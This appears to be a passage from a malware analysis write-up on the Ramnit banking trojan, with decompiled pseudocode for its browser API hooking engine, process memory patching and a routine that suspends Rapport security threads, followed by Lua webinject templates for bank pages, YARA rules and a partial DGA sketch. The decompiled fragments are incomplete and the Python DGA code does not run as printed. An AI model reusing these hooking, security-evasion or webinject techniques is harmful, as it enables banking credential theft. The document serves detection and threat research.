if ( Buffer != 0x5A4D ) // Check for "MZ" header "0x5A4D"
goto LABEL_29;
v8 = *(_QWORD *)lpBaseAddress + v21;
hProcess = (HANDLE)((unsigned __int64)(*(_QWORD *)lpBaseAddress + v21) >> 32);
if ( !ReadProcessMemory_0(
(char *)lpBaseAddress[0] + v21,
v12) )
goto LABEL_29;
if ( !NumberOfBytesRead )
goto LABEL_29;
if ( v13 != 0x4550 ) // Check NT header signature "0x4550"
goto LABEL_29;
if ( v14 == a2 )
goto LABEL_29;
dwProcessIda = (void *)(v8 + 8);
hProcess = (char *)hProcess + __CFADD__((_DWORD)v8, 8);
if ( !VirtualProtectEx_0((HANDLE)(v8 + 8), hProcess, 4u, (DWORD)&flOldProtect, v15)
|| !WriteProcessMemory_0(dwProcessIda, hProcess, (LPVOID)4, (DWORD)&NumberOfBytesRead, v16)
|| !VirtualProtectEx_0(dwProcessIda, hProcess, flOldProtect, (DWORD)&NumberOfBytesRead, v17) )
goto LABEL_29;
v4 = 1;
return v4;

In addition to the usual ntdll.dll:LdrLoadDll and user32:TranslateMessage hooks, Ramnit hooks the various browser API (see Appendix), including Google Chrome, which was one of the non-exported API hooks from “chrome.dll” that was hooked differently by the malware developers. More specifically, Ramnit searches “.text” section of the Chrome dll. In memory, the malware checks for various SSL read and write functions.
The main banker hooking function is as follows:

/////////////// Ramnit Main Web Hooker Serve Function /////////////
HLOCAL Main_Browser_Hooker_func()
GetModule(InternetExplorer_function_array, "wininet.dll");
GetModule(Mozilla_Firefox_function_array, "nss3.dll");
return FireFox_Hook();

III. x86/x64 Injected Bot
Finally, Ramnit injects an either 32-bit (x86) or 64-bit (x64) executable into the webbrowser process.
A. Ramnit Hooking Engine
Essentially, Ramnit hooking engine works to set up hooks for API calls of interest.Additionally, it has a routine to deal with non-exported API hooks for “chrome.dll.”

CreateHook_API(const CHAR DLL_name, int original_function_name,\
int myHook_function, int address_of_original_function)

By and large, Ramnit banker hooking engine works via overwriting the basic API with the redirect functions with the “0xe9” opcode for a jump with 32-bit relative offset with trampoline function and the write hook call with VirtualProtectEx API to make sure the function has 0x40 (PAGE_EXECUTE_READWRITE) property. Additionally, it attempts to conceal detection of this hooking technique via prepending NOP and/or RETN.

/////////////// Ramnit Hook Install Function ///////////////////////
signed int __thiscall Hook_Function_Ramnit(char *func_name, int myHook_function, int *function_address)
char *original_function;
char *current_func_id_thread;
int v5;
char jump_len;
signed int result;
SIZE_T v8;
void *trampoline_lpvoid;
int v10;
int v11;
unsigned __int8 jmp_32_bit_relative_offset_opcode;
int relative_offset;
DWORD flOldProtect;

original_function = func_name;
current_func_id_thread = func_name + 0x24;
iter_func(func_name + 0x24, 0x90, 0x23);
if ( function_address ) // Attempts to prepend "0x90" (nop) or "0xC3" (retn) to jump length to avoid basic hooking detect
jump_len = walker_byte_0(*(_BYTE **)(original_function + 1), (int)current_func_id_thread, v5);
jump_len = 5; // jump_length_trampoline -> 5
original_function[5] = jump_len;
if ( !jump_len )
goto LABEL_12; // Setting up the trampoline buffer
write_hook_iter((int)(original_function + 6), *(_BYTE **)(original_function + 1), (unsigned __int8)jump_len);
if ( function_address )
*function_address = (int)current_func_id_thread;
relative_offset = myHook_function - *(_DWORD *)(original_function + 1) - 5;
v8 = (unsigned __int8)original_function[5];
trampoline_lpvoid = *(void **)(original_function + 1);
jmp_32_bit_relative_offset_opcode = 0xE9u; // "0xE9" -> opcode for a jump with a 32bit relative offset
if ( VirtualProtectEx((HANDLE)0xFFFFFFFF, trampoline_lpvoid, v8, 0x40u, &flOldProtect) )// Set up the function for "PAGE_EXECUTE_READWRITE" w/ VirtualProtectEx
v10 = *(_DWORD *)(original_function + 1);
v11 = (unsigned __int8)original_function[5] - (_DWORD)original_function - 0x47;
original_function[66] = 0xE9u;
*(_DWORD *)(original_function + 0x43) = v10 + v11;
write_hook_iter(v10, &jmp_32_bit_relative_offset_opcode, 5);// -> Manually write the hook
VirtualProtectEx( // Return to original protect state
*(LPVOID *)(original_function + 1),
(unsigned __int8)original_function[5],
result = 1;
result = 0;
return result;

When the Ramnit banker hooks the function, it enters the new hooked one and grabs various variables while passing control to the original one when the hooked function concludes.

B. Ramnit Anti-Rapport
The malware also implements functionality that is meant to walk the stack and suspend threads related to “RapportGP.dl” DLL. The malware leverages “DbgHelp.dll” library and relevant API calls such as StackWalk64, SymGetModuleBase64, and SymFunctionTableAccess64.

///////////// Ramnit Anti-Rapport SuspendThread Function ///////////
char anti_rapport()
qmemcpy(&storage_allocated, &loc_100FCD4C, 0x19u);
return_handle_to_rapport_gp = GetModuleHandleA("RapportGP.dll");
if ( return_handle_to_rapport_gp
&& ((ret_handle = GetModuleHandleA("DbgHelp.dll")) != 0
|| (ret_handle = LoadLibraryA("DbgHelp.dll")) != 0)
&& (StackWalk64 = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))
GetProcAddress(ret_handle, "StackWalk64"),
SymGetModuleBase64 = GetProcAddress(ret_handle, "SymGetModuleBase64"),
SymFunctionTableAccess64 = GetProcAddress(ret_handle, "SymFunctionTableAccess64"),
StackWalk64) )
get_to_rapp = (int)return_handle_to_rapport_gp + *((_DWORD *)return_handle_to_rapport_gp + 0xF);
if ( *(_DWORD *)get_to_rapp == 0x4550 ) // PE = 0x4550 - Win32/NT signature.
v11 = 0;
if ( *(_WORD *)(get_to_rapp + 6) > 0u )
rapp_text = get_to_rapp + 0xF8;
while ( lstrcmpA((LPCSTR)rapp_text, ".text") )
rapp_text += 0x28;
if ( ++v11 >= *(_WORD *)(get_to_rapp + 6) )
goto LABEL_20;
thread_walker_suspender(Rapport_text_Ldr, rapport_text);
////////////// Ramnit Thread Suspender StackWalk Simplified ////////
openthread_handle = OpenThread(0x1FFFFFu, 0, te.th32ThreadID);
if ( openthread_handle )
mm_shuffle_epi32_func(&Context.Dr0, 0, 0x2C8);
Context.ContextFlags = 0x1003F;
if ( GetThreadContext(openthread_handle, &Context) )
mm_shuffle_epi32_func(&v16, 0, 256);
rapport_ldr_location_3 = rapport_ldr_location_2;
Context_Eip[0] = Context.Eip;
Context_Ebp = Context.Ebp;
Context_Eip[1] = 0;
v17 = 3;
v19 = 0;
v20 = 3;
context_Esp = Context.Esp;
v22 = 0;
v23 = 3;
if ( StackWalk64 )
SymGetModuleBase64_func = SymGetModuleBase64;
SymFunctionTableAccess64_func = SymFunctionTableAccess64;
getcurrentproc_handle = GetCurrentProcess();
if ( !StackWalk64(
0) )
if ( !Context_Eip[1]
&& Context_Eip[0] >= rapport_ldr_location_3
&& *(_QWORD *)Context_Eip <= (unsigned __int64)len_location_rapport_1 )

C. Ramnit LUA Webinject Structure
The malware utilizes interesting LUA-coded webinjects with different setups with the developer comments including “damn lua…  in 5.3 bit are depricated or im govnocoder (sic!) (“badcoder” from Russian. -VK). Some of the core logic and setup are provided below.
V. Yara Signatures

A. Ramnit Main DLL “rmnsoft.dll”
import "pe"

rule crime_win32_ramnit_rmnsoft_dll {
description = "Detects latest Ramnit rmnsoft.dll from sLoad"
author = "@VK_Intel"
date = "2018-08-03"
hash1 = "7f054300fa64e7bcdec7f5538876e6008d6164f21ff21c6375e36dfe04a63412"
$s1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\Opera.exe" fullword ascii
$s2 = "%APPDATA%\\Apple Computer\\Safari\\Cookies\\Cookies.plist" fullword ascii
$s4 = "rmnsoft.dll" fullword ascii
$s5 = "%APPDATA%\\Mozilla\\Firefox\\" fullword ascii
$s6 = "%APPDATA%\\Opera\\" fullword ascii
$s7 = "HTTPMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" fullword ascii
$s8 = "\"ntdll.dll" fullword ascii
$s11 = "multipart/*boundary={*}application/x-www-form-urlencodedtext/plainname=\"{*}\"{*}https://http://" fullword wide
$s12 = "websearch.com:80" fullword ascii
$s13 = "User-Agent:{*}" fullword wide
$s14 = "complete.dat" fullword ascii
$s15 = "info.com:80" fullword ascii
$s16 = "baidu.com:80" fullword ascii
$s17 = "\\profile\\cookies4.dat" fullword ascii
$s19 = "C:\\WINDOWS\\Application Data\\Mozilla\\Firefox\\" fullword ascii
$s20 = "\\cookies.txt" fullword ascii
( uint16(0) == 0x5a4d and
filesize < 300KB and
pe.imphash() == "291ff87948e45914424cec9510c297da" and pe.exports("Start")
and pe.exports("Stop") and pe.exports("_CryptoCheckSignMessage@24") and
( 8 of them )
) or ( all of them )
B. Ramnit Webinject DLL “hooker2.dll” (With Resource x86 and x64 Bot) 

rule crime_win32_64_ramnit_hooker_dll_binary {
description = "Detects Ramnit latest hooker2.dll with embedded two (x86/x64) resources. The detection is across all 3 components"
author = "@VK_Intel"
date = "2018-08-05"
hash1 = "d817fcf2a2e4a6e6e5b8f130d97a476b7e77697587dc5490a7241e571edd171e"
hash2 = "51ce5faa14ce6e496ccc0c71ff051740452e347bea0d343445c1993f36b79931"
hash3 = "23a2a8777b343d2fb68536387dda9e122c80d4a77c955bd1985b7f9239c09f7c"
$s2 = "RapportGP.dll" fullword wide
$s5 = "aswhook.dll" fullword wide
$s6 = "No row to get a column from. executeStep() was not called, or returned false." fullword ascii
$s7 = "NtCreateEvent NtCreateMutant NtCreateSemaphore NtCreateUserProcess NtMapViewOfSection NtOpenEvent NtOpenMutant NtOpenSemaphore N" ascii
$s8 = "GetRemoteInject" fullword ascii
$s9 = "!\\?.dll;!\\..\\lib\\lua\\5.3\\?.dll;!\\loadall.dll;.\\?.dll" fullword ascii
$s10 = "sub-select returns %d columns - expected %d" fullword ascii
$s11 = "SELECT sql FROM \"%w\".sqlite_master WHERE type='table'AND name'sqlite_sequence' AND coalesce(rootpage,1)>0" fullword ascii
$s12 = "0 && \"Attempting to pause parser in error state\"" fullword wide
$s13 = "User-Agent-Session: " fullword wide
$s14 = "invalid character in content-length header" fullword ascii
$s15 = "too many arguments on %s() - max %d" fullword ascii
$s16 = "--- REAL HEADERS ---" fullword wide
$s17 = "tQueryInformationProcess NtResumeThread NtWriteVirtualMemory ZwCreateEvent ZwCreateMutant ZwCreateSemaphore ZwCreateUserProcess " ascii
$s18 = "unexpected content-length header" fullword ascii
( uint16(0) == 0x5a4d and
filesize < 9000KB and ( 8 of them )
) or ( all of them )

VI. Appendix:
A. Ramnit Hooked API
Internet Explorer:


Mozilla Firefox:


Google Chrome:





B. LUA Webinject
1. Webinject Setup Syntax

bankLog = {
url = "%BANKURL%",
req_type = get_type + log_type,
modification_arrays = {
[1] = {
data_before = [[

data_inject = [[]],
data_after = [[


2. Webinject POST

bankPOST = {
url = "%BANKURL%",
req_type = post_type, -- Post only
command = VAR,
vars = {
["tlda"] = "pnlSetupNewPayeePayaPerson%3AfrmPayaPersonArrangement%3AstrBen\

3.  Webinject Variables

get_type, post_type, log_type = 1, 2, 4;
local log_type_bit_order = 3;
-- damn lua...  in 5.3 bit are depricated or im govnocoder
allow_report, not_allow_report, screen_report = 1, 0, 2;
local content_types = { "javascript", "text", "application"};

4. WebFilters

local WebFilters = {
-- Put filters for reports here
--"~*unicredit[.]it*", -- Do not use screens on urls from here. Not tested currently

5. ScreenshotsContainer

local ScreenshotsContainer = {
-- Put urls for screenshots here

C. Ramnit DGA pseudo-function Python function

# https://www.cert.pl/en/news/single/ramnit-in-depth-analysis/
seed = '2538799770'
tld = ".eu"

def lcg(a1, a2):
return 16807 * (a1 % 127773) - 2836 * (a1 / 127773) % a2

def dga(seed, tld):
domain = ""
new_seed = rng(seed, 12)
seed_after_length = new_seed

for i in range(domain_length):
c, new_seed = rng(new_seed, 25)
domain += chr(c + ord('a'))

seed *= seed_after_length
seed = ((seed >> 32) + (seed & 0xffffffff)) & 0xffffffff
domain += tld

return domain, seed